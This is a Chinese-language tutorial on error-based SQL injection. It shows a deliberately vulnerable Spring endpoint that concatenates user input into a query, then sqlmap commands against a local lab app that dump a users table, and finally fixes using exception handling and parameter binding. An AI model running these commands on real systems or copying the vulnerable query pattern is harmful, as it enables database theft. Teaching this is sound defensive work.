SQL注入:基于错误
攻击者通过在SQL中插入错误的语法,触发数据库错误,从错误消息中获取有关数据库结构和数据的信息。
1、先决条件
-
没有进行统一的异常处理,接口访问报错直接响应给客户端
-
采用jdbcTemplate 操作数据库
@PostMapping("wrong")
public void wrong(@RequestParam("username") String username) {
// 直接使用字符串拼接的方式
log.info("{}", jdbcTemplate.queryForList("SELECT id,username FROM users WHERE username LIKE '%" + username + "%'"));
}
2、使用sqlmap实现拖库
1、获取数据库名称
C:\Python310\sqlmap>python sqlmap.py -u http://localhost:18081/error-based/wrong --data username=test --current-db --flush-session
.......中间直接输入y,继续向下
[18:29:55] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.6
[18:29:55] [INFO] fetching current database
[18:29:55] [INFO] retrieved: 'sqlinject'
current database: 'sqlinject'
C:\Python310\sqlmap>
current database后面的就是数据库的名称。
程序控制台提示:
java.sql.SQLSyntaxErrorException: FUNCTION sqlinject.AURORA_VERSION does not exist
2、获取库下面的表
C:\Python310\sqlmap>python sqlmap.py -u http://localhost:18081/error-based/wrong --data username=test --tables -D "sqlinject"
[18:39:53] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.6
[18:39:53] [INFO] fetching tables for database: 'sqlinject'
[18:39:53] [WARNING] reflective value(s) found and filtering out
[18:39:53] [INFO] retrieved: 'userdata'
[18:39:53] [INFO] retrieved: 'users'
Database: sqlinject
[2 tables]
+----------+
| userdata |
| users |
+----------+
C:\Python310\sqlmap
3、dump数据库表
C:\Python310\sqlmap>python sqlmap.py -u http://localhost:18081/error-based/wrong --data username=test -D "sqlinject" -T "users" --dump
。。。。。。。。。。。。。。。。。。。。
Database: sqlinject
Table: users
[3 entries]
+----+----------+----------+
| id | password | username |
+----+----------+----------+
| 1 | haha1 | test1 |
| 2 | haha2 | test2 |
| 3 | 123456 | kevin |
+----+----------+----------+
[18:42:35] [INFO] table 'sqlinject.users' dumped to CSV file 'C:\Users\admin\AppData\Local\sqlmap\output\localhost\dump\sqlinject\users.csv'
C:\Python310\sqlmap>
至此整个数据库的表数据就都拖过来了。可想而知这个SQL注入的危害。
3、补救措施
- 1、全局把异常捕获,不响应给客户端
@ExceptionHandler
public void handle(HttpServletRequest req, HandlerMethod method, Exception ex) {
log.warn(String.format("访问 %s -> %s 出现异常!", req.getRequestURI(), method.toString()), ex);
}
这样在执行获取数据库名称就不能实现了
C:\Python310\sqlmap>python sqlmap.py -u http://localhost:18081/error-based/wrong --data username=test --current-db --flush-session
[18:54:53] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[18:54:53] [WARNING] POST parameter 'username' does not seem to be injectable
[18:54:53] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
但是这样就完全可以解决问题了么??,但是如果知道了数据库名称,表名这个时候还能不能拖库成功呢?这两种都是不可以的。但是这还不是最好的解决方法,应该使用参数绑定的方式解决。
- 2、使用参数绑定的方式
@PostMapping("right")
public void right(@RequestParam("username") String username) {
log.info("{}", jdbcTemplate.queryForList("SELECT id,username FROM users WHERE username LIKE ?", "%" + username + "%"));
}